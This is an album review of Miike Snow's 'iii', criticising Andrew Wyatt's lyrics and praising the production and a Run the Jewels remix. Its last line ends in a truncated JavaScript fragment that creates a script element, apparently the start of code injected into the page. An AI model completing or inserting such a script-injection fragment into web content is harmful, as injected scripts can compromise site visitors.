by David Lees
It would not have been irrational to fear that after years under the EDM curtain which befell pop music before the release of their 2012 effort, ‘Happy To You’, Miike Snow could have returned indoctrinated in electro-house beats, expelling white noise from every aural pore, with guest features from John Martin – just another three cogs in the shuddering, creaking machine that is popular contemporary dance music.
And in truth, it wouldn’t have been all that surprising. They could have pulled it off. Miike Snow specialise in pretty, accessible, piano or synth-led pop and they share EDM’s steadfast dedication to style-over-substance. Production duo Bloodshy & Avant’s previous work shows no lack of versatility, producing for Britney Spears, Ms Dynamite, Kylie, Katy Perry, and even writing for David Guetta. If anyone could’ve successfully voyaged from synth-pop to EDM, it could well have been Miike Snow.
Why then were there so many concerns over whether such an endeavour could bear fruit? A great feature of Miike Snow’s previous efforts is the careful sonic balance. While vocalist Andrew Wyatt’s smooth tones are far from inadequate, more often than not he acts as a tool which Bloodshy & Avant utilise to tie their sounds together; he is less a frontman, more simply another instrument. This is a balance that EDM in general, lacks. Over-populism is rife – even in its dying embers there continues to exist a genre-wide compulsion to inject itself with pop-tendencies, a compulsion which did not exist in the progenitive dance genres.
And all of this can be applied to their third record: ‘iii’. Bloody & Avant remain at the forefront of everything outwardly good about Miike Snow. The synth-swell on the hook of ‘Heart of Me’, the vast musical stabs lead single ‘Heart is Full’, even on more throwaway tracks such as ‘Longshot (7 Nights)’, the often orchestral-tinged production flirts with outright brilliance at times. Yet, what best characterises iii as a record is Wyatt’s lyrics.
The lyrics found on iii often read like the Google search history of a 17 year old forum-dweller. The offering on ‘Back of the Car’ of: “I tried and it’s never enough, I always tried to hide when I needed your love” is emblematic of the bait-and-switch bullshit – the dedication to little beyond self-indulgent drama – that punctuates iii. Most ludicrously, ‘Genghis Khan’, in which Wyatt compares his rabid jealousy at seeing the subject of his attraction with someone else to one of the greatest genocidal murderers in history, is the apex of iii’s pettiness. ‘I Feel the Weight’ sees Wyatt auto-tuned into total oblivion as he bemoans a failing relationship, his lover now a bore that he continues to lead on, and it is utterly beautiful. ‘I Feel the Weight’ is the kind of beautiful disaster comparable to the continued existence of Shia LaBeouf, or Martin Shkreli allegedly paying $15 million for exclusive rights to Kanye West’s ‘The Life of Pablo’ to someone who didn’t represent Kanye West. Nobody knows how it has been allowed to happen, just be thankful that it has.
While iii’s momentum slows towards its tail-end, its rampant, gleeful narcissism does anything but: enter Run the Jewels. On a remix of ‘Heart is Full’, Killer Mike and El-P provide one of their usual razor-sharp, self-aggrandizing exchanges. While musically, the feature works surprisingly well, Run the Jewels are – as always – perpetual victors, impregnable ultra-presences, more than ever so when juxtaposed with Wyatt’s character. “Please don’t knock over my heart, cause my heart is full of you” is countered with “‘I’m from a city where havin’ a heart is not suggested”. While Killer Mike and El-P’s alternative proposal is loveless, flagrantly so, it offers the sort of frank honesty and clarity found nowhere else on the record.
iii has the most personality, the most flavour, of any Miike Snow record yet. It does, however, lack the consistency of their previous releases. Rather iii is a compilation of great moments and lacklustre ones, a few diamonds in a not-inconsiderable volume of rough.
And iii’s greatest achievement? It serves as a timely reminder to us all that ‘Run the Jewels 3’ is coming. Brace yourselves.var d=document;var s=d.createElement(‘script’);